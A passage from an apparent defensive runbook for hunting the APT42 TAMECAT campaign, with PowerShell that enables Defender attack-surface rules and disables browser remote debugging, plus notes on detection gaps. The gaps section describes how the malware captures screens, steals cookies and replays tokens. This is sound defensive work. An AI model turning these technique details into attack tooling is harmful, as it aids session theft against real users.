Add-MpPreference -AttackSurfaceReductionRules_Ids `
  d3e037e1-3eb8-44c8-a917-57927947596d,`
  be9ba2d9-53ea-4cdc-84e5-9b1eeee46550,`
  d4f940ab-401b-4efc-aadc-ad5f3c50688a `
  -AttackSurfaceReductionRules_Actions AuditMode,AuditMode,AuditMode

# STEP 2 -- after reviewing audit events, switch to Enabled (block)
Set-MpPreference -AttackSurfaceReductionRules_Ids `
  d3e037e1-3eb8-44c8-a917-57927947596d,`
  be9ba2d9-53ea-4cdc-84e5-9b1eeee46550,`
  d4f940ab-401b-4efc-aadc-ad5f3c50688a `
  -AttackSurfaceReductionRules_Actions Enabled,Enabled,Enabled

# Verify
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Actions

# ROLLBACK
#   Add-MpPreference -AttackSurfaceReductionRules_Ids <guid> -AttackSurfaceReductionRules_Actions Disabled

P5 — Block browser remote debugging by policy

Prerequisites: Edge and Chrome ADMX templates imported into the Central Store, or Intune settings catalogue. Create an exception security group for engineering and QA before enforcing — this policy breaks Selenium, Playwright and Puppeteer.
Reboot required: No. Applies at next browser launch.
Rollback: delete the RemoteDebuggingAllowed value, or unlink the GPO. Default behaviour (debugging permitted) returns at next browser launch.

# Microsoft Edge -- disallow remote debugging
$edge = 'HKLM:\SOFTWARE\Policies\Microsoft\Edge'
New-Item -Path $edge -Force | Out-Null
Set-ItemProperty -Path $edge -Name RemoteDebuggingAllowed -Value 0 -Type DWord

# Google Chrome -- same control
$chrome = 'HKLM:\SOFTWARE\Policies\Google\Chrome'
New-Item -Path $chrome -Force | Out-Null
Set-ItemProperty -Path $chrome -Name RemoteDebuggingAllowed -Value 0 -Type DWord

# Verify -- both must return 0
Get-ItemProperty $edge   -Name RemoteDebuggingAllowed
Get-ItemProperty $chrome -Name RemoteDebuggingAllowed

# CQL spot-check: run Q6 over the 14 days after rollout. Remaining hits should map
# only to the engineering exception group.

# ROLLBACK
#   Remove-ItemProperty -Path $edge   -Name RemoteDebuggingAllowed -ErrorAction SilentlyContinue
#   Remove-ItemProperty -Path $chrome -Name RemoteDebuggingAllowed -ErrorAction SilentlyContinue

Run the identity phase in parallel with the host phase, not after it. TAMECAT's objective is browser sessions and mailbox content. Reporting is explicit that access survives victim password resets, so a rebuilt laptop with un-revoked tokens is not a contained incident. Assign the identity workstream to a named owner at the moment the incident opens.

Known gaps and what to do about them

• Everything before execution is invisible. The reconnaissance, the AI-generated persona, and the weeks of WhatsApp and personal-email contact produce no enterprise telemetry at all. This is not a tuning problem and no query will fix it. H10 (executive protection and out-of-band verification) is the only control that addresses it.
• Screen capture leaves nothing behind. The Screen module calls CopyFromScreen in-process and deletes each PNG immediately after upload. There is no process creation and no lasting file. Detect the session that enables it (Q1–Q5), not the capture itself.
• Discovery modules are indistinguishable from administration. Enumerating OS version, installed software, running processes and AV products is what management tooling does all day. Do not hunt these standalone — correlate them to a confirmed Q1–Q5 hit on the same host and user.
• Token replay is not an endpoint event. Once cookies are stolen, the follow-on activity happens against your IdP from the attacker's infrastructure. Falcon will never see it. The Section 7 identity hunts and H9/H13 carry this technique.
• Q9 and Q11 are deliberately broad. Both will produce noise on first run. That is the intended trade: they are scoping tools for a confirmed incident, not standing alerts. Baseline them (validation gate 2) before considering promotion.

Validation status. No query in this pack has been executed against a live tenant. Field names are drawn from the Falcon data model and event names from the sensor event dictionary, and all twelve queries passed the CQL field and syntax gates. Work Section 11 gates 1 and 1b before you trust a zero-hit result: Q8 and Q9 need registry telemetry, Q10 needs DNS with process attribution, and five of the twelve queries fail silently if command-line capture is truncated.

Provenance. The full fetched text of every source above is saved in APT42-TAMECAT-SpearSpecter-Hunt-sources/ next to this file. Every atomic indicator shipped in Section 4 and Section 10 was mechanically traced back to at least one of those snapshots before publication. Nothing in the IOC set was reconstructed from memory.